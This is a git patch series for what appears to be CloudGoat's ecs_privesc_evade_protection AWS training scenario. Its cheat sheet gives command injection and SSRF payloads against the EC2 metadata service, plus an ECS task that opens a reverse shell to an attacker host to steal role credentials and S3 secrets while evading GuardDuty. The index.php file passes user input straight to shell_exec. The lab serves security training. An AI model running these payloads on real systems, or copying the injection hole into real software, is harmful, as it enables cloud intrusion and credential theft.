--cluster arn:aws:ecs:us-east-1::cluster/` +aws ecs list-clusters --region +aws ecs describe-clusters --region --clusters +aws ecs list-container-instances --region --cluster ``` ### ECS Privesc @@ -43,13 +74,13 @@ aws iam list-roles ``` # ECS Task definition with revshell command. -aws ecs register-task-definition --family iam_exfiltration --task-role-arn arn:aws:iam:::role/ --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp//4000 0>&1\\\"\"]}]" +aws ecs register-task-definition --region --family --task-role-arn --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp// 0>&1\\\"\"]}]" # For run-task, find available subnets. -aws ec2 describe-subnets +aws ec2 describe-subnets --region # Run task. -aws ecs run-task --task-definition iam_exfiltration --cluster arn:aws:ecs:us-east-1::cluster/ --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"\"]}}" +aws ecs run-task --region --task-definition --cluster --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"\"]}}" ``` After a few minutes, the revshell will be connected by container. Let's do it on revshell. @@ -62,6 +93,6 @@ apt-get install awscli aws s3 ls aws s3 ls s3:/// -aws s3 cp s3:///flag.txt . -cat flag.txt +aws s3 cp s3:///secret-string.txt . +cat secret-string.txt ``` \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/flag.txt b/scenarios/ecs_privesc_evade_protection/terraform/flag.txt index f3a8250c..13ca9ff7 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/flag.txt +++ b/scenarios/ecs_privesc_evade_protection/terraform/flag.txt @@ -1 +1 @@ -cg-secret-bob12-gC9!+Xy#QJ37fa@H3D7Kd@2*a&#+Tp% \ No newline at end of file +cg-secret-lets-try-hard-path-g7Hz2&f#9!mP3x$vE \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/iam.tf b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf index f6d26be3..385fdea8 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/iam.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf @@ -67,16 +67,14 @@ resource "aws_iam_role" "ec2_role_sub" { # Target of Privesc. # Using PassRole, ECS resource "aws_iam_role" "s3_access" { - name = "cg-s3-access-role-${var.cgid}" + name = "cg-s3-critical-${var.cgid}" tags = { deployment_profile = var.profile Stack = var.stack-name Scenario = var.scenario-name } - managed_policy_arns = [ - "arn:aws:iam::aws:policy/AmazonS3FullAccess" - ] + managed_policy_arns = ["arn:aws:iam::aws:policy/AmazonS3FullAccess"] assume_role_policy = jsonencode({ Version = "2012-10-17" @@ -160,26 +158,60 @@ resource "aws_iam_role" "lambda_role" { }) } +# Even if users play Easy Path, users also can know that secret-string.txt exists but cannot to see what is in. resource "aws_iam_policy" "cg_web_developer_policy" { name = "cg-web-developer-policy-${var.cgid}" policy = jsonencode({ Version = "2012-10-17", Statement = [ { - Sid = "VisualEditor0", Effect = "Allow", Resource = "*", Action = [ - "iam:PassRole", - "iam:Get*", "ec2:DescribeInstances", - "iam:List*", + "ec2:DescribeSubnets", + "s3:ListAllMyBuckets", + "ecs:RegisterTaskDefinition", + "iam:List*" + ] + },{ + Effect = "Allow", + Resource = [ + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:capacity-provider/cg-provider-${var.cgid}", + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:cluster/cg-cluster-${var.cgid}", + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:task/cg-cluster-${var.cgid}/*", + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:task-definition/*" + ], + Action = [ "ecs:RunTask", "ecs:Describe*", - "ecs:RegisterTaskDefinition", - "ec2:DescribeSubnets", "ecs:List*", - "s3:*" + ] + },{ + Effect = "Allow", + Resource = [ + aws_s3_bucket.secret-s3-bucket.arn, + "${aws_s3_bucket.secret-s3-bucket.arn}/*" + ], + Action = [ + "s3:List*", + "s3:GetBucketLocation" + ] + },{ + Effect = "Allow", + Resource = "${aws_s3_bucket.secret-s3-bucket.arn}/flag.txt", + Action = "s3:GetObject" + },{ + Effect = "Allow", + Resource = [ + aws_iam_role.s3_access.arn, + "arn:aws:iam::${data.aws_caller_identity.current.account_id}:role/cg-web-developer-sub-${var.cgid}", + "arn:aws:iam::${data.aws_caller_identity.current.account_id}:role/cg-web-developer-${var.cgid}", + "arn:aws:iam::${data.aws_caller_identity.current.account_id}:policy/cg-web-developer-policy-${var.cgid}" + ], + Action = [ + "iam:Get*", + "iam:PassRole" ] } ] diff --git a/scenarios/ecs_privesc_evade_protection/terraform/s3.tf b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf index 204c04b3..36760654 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/s3.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf @@ -12,13 +12,20 @@ resource "aws_s3_bucket" "secret-s3-bucket" { force_destroy = true } -# Store secret string in flag.txt -resource "aws_s3_object" "credentials" { +# Store secret string for easy path in flag.txt +resource "aws_s3_object" "credentials_easy_path" { bucket = aws_s3_bucket.secret-s3-bucket.id key = "flag.txt" source = "./flag.txt" } +# Store secret string for hard path in critical.txt +resource "aws_s3_object" "credentials_hard_path" { + bucket = aws_s3_bucket.secret-s3-bucket.id + key = "secret-string.txt" + source = "./secret-string.txt" +} + # AWS CLI logs for GuardDuty analysis resource "aws_s3_bucket" "cloudtrail_bucket" { bucket = "cg-cloudtrail-s3-${local.bucket_suffix}" diff --git a/scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt b/scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt new file mode 100644 index 00000000..f3a8250c --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt @@ -0,0 +1 @@ +cg-secret-bob12-gC9!+Xy#QJ37fa@H3D7Kd@2*a&#+Tp% \ No newline at end of file From 41a4730588c2d0d16bb0ff565a5d37ed1128769a Mon Sep 17 00:00:00 2001 From: 2W Date: Tue, 14 Nov 2023 13:14:54 +0900 Subject: [PATCH 09/31] add Summary in Main README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 96b19f2b..4a18bfa5 100644 --- a/README.md +++ b/README.md @@ -172,6 +172,14 @@ compromised instance. [Visit Scenario Page.](scenarios/ecs_takeover/README.md) +### ecs_privesc_evade_protection (Medium / Moderate) + +`$ ./cloudgoat.py create ecs_privesc_evade_protection` + +It starts with a website that is using GuardianDuty. The attacker must use ECS to obtain the secret string to evade detection by GuardDuty. + +[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) + ### rce_web_app (Medium / Hard) `$ ./cloudgoat.py create rce_web_app` From caa3f79ee3e8fa84b3e080ae5a4ae4ed4fbefef9 Mon Sep 17 00:00:00 2001 From: 2W Date: Tue, 14 Nov 2023 13:20:16 +0900 Subject: [PATCH 10/31] fix typo --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4a18bfa5..d9227a52 100644 --- a/README.md +++ b/README.md @@ -176,7 +176,7 @@ compromised instance. `$ ./cloudgoat.py create ecs_privesc_evade_protection` -It starts with a website that is using GuardianDuty. The attacker must use ECS to obtain the secret string to evade detection by GuardDuty. +It starts with a website that is using GuardDuty. The attacker must use ECS to obtain the secret string to evade detection by GuardDuty. [Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) From 49bdb81a1b4db067ad08454bab08f93741b7cf13 Mon Sep 17 00:00:00 2001 From: 2W Date: Tue, 14 Nov 2023 17:58:42 +0900 Subject: [PATCH 11/31] Revert "fix typo" This reverts commit caa3f79ee3e8fa84b3e080ae5a4ae4ed4fbefef9. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d9227a52..4a18bfa5 100644 --- a/README.md +++ b/README.md @@ -176,7 +176,7 @@ compromised instance. `$ ./cloudgoat.py create ecs_privesc_evade_protection` -It starts with a website that is using GuardDuty. The attacker must use ECS to obtain the secret string to evade detection by GuardDuty. +It starts with a website that is using GuardianDuty. The attacker must use ECS to obtain the secret string to evade detection by GuardDuty. [Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) From cb5d2b81dd4aa43811a8d818faf0e381dcbb6a57 Mon Sep 17 00:00:00 2001 From: 2W Date: Tue, 14 Nov 2023 17:58:45 +0900 Subject: [PATCH 12/31] Revert "add Summary in Main README.md" This reverts commit 41a4730588c2d0d16bb0ff565a5d37ed1128769a. --- README.md | 8 -------- 1 file changed, 8 deletions(-) diff --git a/README.md b/README.md index 4a18bfa5..96b19f2b 100644 --- a/README.md +++ b/README.md @@ -172,14 +172,6 @@ compromised instance. [Visit Scenario Page.](scenarios/ecs_takeover/README.md) -### ecs_privesc_evade_protection (Medium / Moderate) - -`$ ./cloudgoat.py create ecs_privesc_evade_protection` - -It starts with a website that is using GuardianDuty. The attacker must use ECS to obtain the secret string to evade detection by GuardDuty. - -[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) - ### rce_web_app (Medium / Hard) `$ ./cloudgoat.py create rce_web_app` From 8c01e74bebd202e54a4b9dcbecf0777da21ca8b2 Mon Sep 17 00:00:00 2001 From: ysu Date: Tue, 14 Nov 2023 23:44:29 +0900 Subject: [PATCH 13/31] Remove horizontal line in scenario/ecs_privesc_evade_protecton/README.md --- .../ecs_privesc_evade_protection/README.md | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md index 21848cbf..ccb7e3d7 100644 --- a/scenarios/ecs_privesc_evade_protection/README.md +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -1,7 +1,5 @@ # Scenario: ecs_privesc_evade_protection ---- - **Size**: Medium **Difficulty**: Moderate @@ -10,8 +8,6 @@ ## Scenario Resources ---- - - 1 ECS with: - 1 * ASG with : - 1 * EC2 @@ -27,45 +23,31 @@ ## Scenario Start(s) ---- - Scenario starts as a web user. > **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error. ## Scenario Goal(s) ---- - Read flag.txt in S3 with avoiding various defense techniques. ## Summary ---- - There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string. ## Email setup - ---- - If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start. - If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/. # SPOILER ALERT: There are spoilers for the scenario blew this point. ---- - ## Exploitation Route ---- - ![Scenario Route(s)](assets/diagram.png) ## Scenario Walk-through ---- - ### Easy Path - Attacker accesses the web service of a container inside EC2 managed by ECS. - The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container. From daf36805dc00fb1e9d4441bd2d84cbe11da57e2c Mon Sep 17 00:00:00 2001 From: ysu Date: Wed, 15 Nov 2023 00:02:00 +0900 Subject: [PATCH 14/31] Edit root README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 96b19f2b..e0d56f13 100644 --- a/README.md +++ b/README.md @@ -227,6 +227,14 @@ Starting with access the "ruse" EC2 the user leverages the instace profile to ba [Visit Scenario Page.](scenarios/ecs_efs_attack/README.md) +### ecs_privesc_evade_protection (Medium / Moderate) + +`$ ./cloudgoat.py create ecs_privesc_evade_protection` + +A user begins by accessing a working web service to a container inside EC2. The attacker can exploit a web service vulnerability to get credentials from the metadata API in EC2, or to control the container. This credential allows the attacker to initiate a new container with a specific role and control it. Based on this action, make a priviledge escalation, and read FLAG in S3. + +[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) + ## Usage Guide The basic anatomy of a CloudGoat command is as follows: From fe7156d5543617d9d1d435c90807b55f5104d31f Mon Sep 17 00:00:00 2001 From: ysu Date: Wed, 15 Nov 2023 00:11:39 +0900 Subject: [PATCH 15/31] Allow ecs:ListClusters for role "cg_web_developer_policy" --- scenarios/ecs_privesc_evade_protection/terraform/iam.tf | 1 + 1 file changed, 1 insertion(+) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/iam.tf b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf index 385fdea8..fdb97612 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/iam.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf @@ -172,6 +172,7 @@ resource "aws_iam_policy" "cg_web_developer_policy" { "ec2:DescribeSubnets", "s3:ListAllMyBuckets", "ecs:RegisterTaskDefinition", + "ecs:ListClusters", "iam:List*" ] },{ From 928ad74540e0e90217a00bfa21ee7cbba8c230cf Mon Sep 17 00:00:00 2001 From: 3iuy Date: Wed, 13 Dec 2023 21:10:32 +0900 Subject: [PATCH 16/31] Update scenario's cheat_sheet.md. --- .../cheat_sheet.md | 133 ++++++++++++------ 1 file changed, 92 insertions(+), 41 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md index fd7365e6..d3648e9a 100644 --- a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md +++ b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md @@ -4,7 +4,8 @@ Go to `http://` ### Command Injection -``` +```bash +# Command Injection on web. ; aws s3 ls ; aws s3 ls s3:/// ; aws s3 cp s3:///flag.txt . @@ -12,7 +13,8 @@ Go to `http://` ``` ### SSRF -``` + +```bash # SSRF Attack. http:///?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ @@ -34,11 +36,13 @@ Go to `http://` ### SSRF -``` -http:///?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ -aws configure --profile attacker -echo "aws_session_token = " >> ~/.aws/credentials -``` +* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/` +* Get credentials & using it to your CLI profile. + + ```bash + aws configure --profile attacker + echo "aws_session_token = " >> ~/.aws/credentials + ``` ### Command Injection @@ -47,49 +51,96 @@ echo "aws_session_token = " >> ~/.aws/credentials ### For more information -- more information about iam +- more information about iam. -``` -aws sts get-caller-identity -aws iam get-role --role-name -aws iam list-attached-role-policies --role-name -aws iam list-role-policies --role-name -aws iam get-role-policy --role-name --policy-name -aws iam list-roles -``` + ```bash + aws sts get-caller-identity + aws iam list-roles + aws iam get-role --role-name + aws iam list-attached-role-policies --role-name + aws iam list-role-policies --role-name + aws iam get-role-policy --role-name --policy-name + ```` -- more information about ecs +- more information about ecs clusters. -``` -aws ecs list-clusters --region -aws ecs describe-clusters --region --clusters -aws ecs list-container-instances --region --cluster -``` - -### ECS Privesc - -* Attacker prepare revshell at other public ip point with `nc -lvp 4000`. + ```bash + aws ecs list-clusters --region + aws ecs describe-clusters --region --clusters + aws ecs list-container-instances --region --cluster + ``` +- find available vpc subnets. -* And now come back to CLI. + ```bash + aws ec2 describe-subnets --region + ``` -``` -# ECS Task definition with revshell command. -aws ecs register-task-definition --region --family --task-role-arn --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp// 0>&1\\\"\"]}]" +### ECS Privesc -# For run-task, find available subnets. -aws ec2 describe-subnets --region - -# Run task. -aws ecs run-task --region --task-definition --cluster --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"\"]}}" -``` -After a few minutes, the revshell will be connected by container. -Let's do it on revshell. +1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`. + +2. And now come back to CLI. + +3. Create an ECS Task Definition JSON File: + + Create a file named task-definition.json and include the following content. + Replace ``, ``, ``, ``, and `` with your actual values. + + ```json + { + "family": "", + "taskRoleArn": "", + "networkMode": "awsvpc", + "cpu": "256", + "memory": "512", + "requiresCompatibilities": ["FARGATE"], + "containerDefinitions": [ + { + "name": "exfil_creds", + "image": "python:latest", + "entryPoint": ["sh", "-c"], + "command": ["/bin/bash -c \\\"bash -i >& /dev/tcp// 0>&1\\\""] + } + ] + } + ``` + +4. Create an ECS Run Task JSON File. + + Create a file named run-task.json and include the following content. Replace `` with the actual values for your setup. + + ```json + { + "launchType": "FARGATE", + "networkConfiguration": { + "awsvpcConfiguration": { + "assignPublicIp": "ENABLED", + "subnets": [""] + } + } + } + ``` + +5. Register Task Definition and Run Task + + Now, you can use the AWS CLI with the JSON files to execute the commands. + + ```bash + # Register task definition + aws ecs register-task-definition --region --cli-input-json file://task-definition.json + + # Run task + aws ecs run-task --region --task-definition --cluster --cli-input-json file://run-task.json + ``` + + After a few minutes, the revshell will be connected by container. + Let's access to s3 on revshell. ### Access S3 -``` -apt-get update -apt-get install awscli +```bash +apt update +apt install awscli aws s3 ls aws s3 ls s3:/// From f55b48d5960d46ea6b404d2c1b1b4d294bc3de71 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Fri, 15 Dec 2023 00:33:06 +0900 Subject: [PATCH 17/31] Using ECR instead of Docker Hub. --- .../assets/ssrf-web/.dockerignore | 2 + .../assets/ssrf-web/Dockerfile | 18 +++++ .../assets/ssrf-web/index.php | 43 +++++++++++ .../terraform/ecr.tf | 25 +++++++ .../terraform/ecs.tf | 3 +- .../terraform/pop-dockerfile.py | 72 +++++++++++++++++++ .../terraform/push-dockerfile.py | 65 +++++++++++++++++ 7 files changed, 227 insertions(+), 1 deletion(-) create mode 100644 scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore create mode 100644 scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile create mode 100644 scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/ecr.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore new file mode 100644 index 00000000..b797ad92 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore @@ -0,0 +1,2 @@ +Dockerfile +.dockerignore \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile new file mode 100644 index 00000000..67e840ad --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile @@ -0,0 +1,18 @@ +FROM php:7.4-cli-alpine + +RUN apk --no-cache update \ + && apk --no-cache add \ + curl-dev libcurl \ + groff \ + less \ + python3 \ + py3-pip \ + && docker-php-ext-install curl \ + && pip3 install --upgrade pip \ + && pip3 install awscli + +COPY . /usr/src/myapp + +WORKDIR /usr/src/myapp + +CMD [ "php", "-S", "0.0.0.0:80", "-t", "." ] diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php new file mode 100644 index 00000000..ef313d8a --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php @@ -0,0 +1,43 @@ + + + + SSRF + + + +

Server Side Request Forgery

+ +
+ URL: + + + +
+

Can you access meta-data? We've made security improvements!

+ + 150) { + echo "URL is too long. Please enter a URL with 150 characters or less."; + echo "\n\n"; + } elseif (preg_match('/169.254.169.254/', $url)) { + echo "Access to meta-data is not allowed."; + echo "\n\n"; + } else { + $response = shell_exec("curl " . $url); + if ($response !== null) { + echo "
";
+            echo htmlspecialchars($response);
+            echo "
"; + } else { + echo "Failed to fetch the URL."; + echo "\n\n"; + } + } +} +?> + + + \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf new file mode 100644 index 00000000..9b1201c1 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf @@ -0,0 +1,25 @@ +resource "aws_ecr_repository" "repository" { + name = "cg-repository-${var.cgid}" +} + +resource "null_resource" "docker_image" { + # Push Docker image when the scenario be created + provisioner "local-exec" { + when = create + command = "python ./push-dockerfile.py --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" + } + + # Pop Docker images when the scenario be destroyed + provisioner "local-exec" { + when = destroy + command = "python ./pop-dockerfile.py --repository ${self.triggers.repository_name} --region ${self.triggers.region} --profile ${self.triggers.profile} --image_tag all" + } + + triggers = { + repository_name = aws_ecr_repository.repository.name + region = var.region + profile = var.profile + } + + depends_on = [aws_ecr_repository.repository] +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf index ab631bb6..245f36bd 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -117,10 +117,11 @@ resource "aws_ecs_task_definition" "web_task" { requires_compatibilities = ["EC2"] cpu = "512" memory = "512" + depends_on = [null_resource.docker_image] container_definitions = jsonencode([{ name = "cg-ssrf-web-${var.cgid}", - image = "3iuy/ssrf_ci-php-alpine", + image = "${data.aws_caller_identity.current.account_id}.dkr.ecr.${var.region}.amazonaws.com/${aws_ecr_repository.repository.name}:latest", portMappings = [{ containerPort = 80, diff --git a/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py new file mode 100644 index 00000000..9dbb7457 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py @@ -0,0 +1,72 @@ +import boto3 +import argparse +import base64 +import subprocess + + +def get_docker_login_cmd(client, region): + token = client.get_authorization_token()["authorizationData"][0] + username, password = ( + base64.b64decode(token["authorizationToken"]).decode().split(":") + ) + registry = token["proxyEndpoint"] + return f"docker login --username {username} --password {password} {registry}" + + +def delete_all_images(client, repository_name): + try: + response = client.list_images(repositoryName=repository_name) + image_ids = response['imageIds'] + + if not image_ids: + print("No images to delete.") + return + + delete_response = client.batch_delete_image( + repositoryName=repository_name, + imageIds=image_ids + ) + + if delete_response['failures']: + print("Failed to delete some images:", delete_response['failures']) + else: + print(f"All images in '{repository_name}' deleted successfully.") + except Exception as e: + print("Error deleting images:", e) + + +def delete_ecr_image(client, repository_name, image_tag): + try: + response = client.batch_delete_image( + repositoryName=repository_name, + imageIds=[{'imageTag': image_tag}] + ) + if response['failures']: + print("Failed to delete the image:", response['failures']) + else: + print(f"Image with tag '{image_tag}' deleted successfully.") + except Exception as e: + print("Error deleting image:", e) + + +def main(): + parser = argparse.ArgumentParser(description='Delete Docker image from AWS ECR.') + parser.add_argument('--repository', help='ECR repository name', required=True) + parser.add_argument('--region', help='AWS region', default='us-east-1') + parser.add_argument('--profile', help='AWS profile', default='default') + parser.add_argument('--image_tag', help='Docker image tag', required=True) + args = parser.parse_args() + + boto3.setup_default_session(profile_name=args.profile) + client = boto3.client("ecr", region_name=args.region) + + # Step 1: Authenticate Docker with ECR + docker_login_cmd = get_docker_login_cmd(client, args.region) + subprocess.run(docker_login_cmd, shell=True, check=True) + + # Step 2: Remove Docker image on ECR. + delete_all_images(client, args.repository) if args.image_tag == 'all' else delete_ecr_image(client, args.repository, args.image_tag) + + +if __name__ == "__main__": + main() diff --git a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py new file mode 100644 index 00000000..19b429c1 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py @@ -0,0 +1,65 @@ +# How to run: +# python3 push-dockerfile.py +import boto3 +import subprocess +import base64 +import argparse +import os + +env = os.environ.copy() + + +def create_ecr_repository(client, repository_name): + try: + response = client.describe_repositories(repositoryNames=[repository_name]) + print(f"Repository {repository_name} already exists.") + return response["repositories"][0]["repositoryUri"] + except client.exceptions.RepositoryNotFoundException: + print(f"Creating repository {repository_name}.") + response = client.create_repository(repositoryName=repository_name) + return response["repository"]["repositoryUri"] + + +def get_docker_login_cmd(client, region): + token = client.get_authorization_token()["authorizationData"][0] + username, password = ( + base64.b64decode(token["authorizationToken"]).decode().split(":") + ) + registry = token["proxyEndpoint"] + return f"docker login --username {username} --password {password} {registry}" + + +def docker_build_and_push(repository_uri, image_tag): + # Build the Docker image + subprocess.run(f"docker build -t {repository_uri}:{image_tag} ../assets/ssrf-web/", shell=True, check=True, env=env) + + # Push the Docker image + subprocess.run(f"docker push {repository_uri}:{image_tag}", shell=True, check=True, env=env) + + +def main(): + parser = argparse.ArgumentParser(description='Push Docker image to AWS ECR.') + parser.add_argument('--repository', help='ECR repository name', required=True) + parser.add_argument('--region', help='AWS region', default='us-east-1') + parser.add_argument('--profile', help='AWS profile', default='default') + parser.add_argument('--image_tag', help='Docker image tag', default='latest') + args = parser.parse_args() + + boto3.setup_default_session(profile_name=args.profile) + + client = boto3.client("ecr", region_name=args.region) + + # Step 1: Create ECR Repository + repository_uri = create_ecr_repository(client, args.repository) + print(f"Repository URI: {repository_uri}") + + # Step 2: Authenticate Docker with ECR + docker_login_cmd = get_docker_login_cmd(client, args.region) + subprocess.run(docker_login_cmd, shell=True, check=True, env=env) + + # Step 3: Build and Push Docker Image + docker_build_and_push(repository_uri, args.image_tag) + + +if __name__ == "__main__": + main() From 01f40836100a1b9d1671db258ac9af903a6d0742 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Fri, 15 Dec 2023 09:22:24 +0900 Subject: [PATCH 18/31] Remove comments about docker hub. --- scenarios/ecs_privesc_evade_protection/terraform/ecr.tf | 1 + scenarios/ecs_privesc_evade_protection/terraform/ecs.tf | 6 ++---- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf index 9b1201c1..ffdf6609 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf @@ -3,6 +3,7 @@ resource "aws_ecr_repository" "repository" { } resource "null_resource" "docker_image" { + # Push Docker image when the scenario be created provisioner "local-exec" { when = create diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf index 245f36bd..e786b9d1 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -108,9 +108,7 @@ resource "aws_ecs_service" "ssrf_web_service" { # Define details for Web task. # Bridge network for access EC2 metadata. -# Containers would be imported from my public docker repository. -# - https://hub.docker.com/repository/docker/3iuy/ssrf_ci-php-alpine/general -# - I think you might think this uncomfortable. Please let me know if you have any opinions. +# Containers would be imported from ECR resource "aws_ecs_task_definition" "web_task" { family = "cg-task-service-ssrf-web" network_mode = "bridge" @@ -121,7 +119,7 @@ resource "aws_ecs_task_definition" "web_task" { container_definitions = jsonencode([{ name = "cg-ssrf-web-${var.cgid}", - image = "${data.aws_caller_identity.current.account_id}.dkr.ecr.${var.region}.amazonaws.com/${aws_ecr_repository.repository.name}:latest", + image = "${aws_ecr_repository.repository.repository_url}:latest" portMappings = [{ containerPort = 80, From 5c9cd5b7125da871739f7408d13f7dc543146737 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Fri, 15 Dec 2023 09:59:13 +0900 Subject: [PATCH 19/31] Update script to make hcl can handle docker path. --- scenarios/ecs_privesc_evade_protection/terraform/ecr.tf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf index ffdf6609..863d425c 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf @@ -7,7 +7,7 @@ resource "null_resource" "docker_image" { # Push Docker image when the scenario be created provisioner "local-exec" { when = create - command = "python ./push-dockerfile.py --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" + command = "python ./push-dockerfile.py --dockerfile_path ../assets/ssrf-web/ --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" } # Pop Docker images when the scenario be destroyed From 585b4911328ccd5863f54f8db96670271b0f72b0 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Fri, 15 Dec 2023 09:59:47 +0900 Subject: [PATCH 20/31] Remove env setting on script. --- .../terraform/push-dockerfile.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py 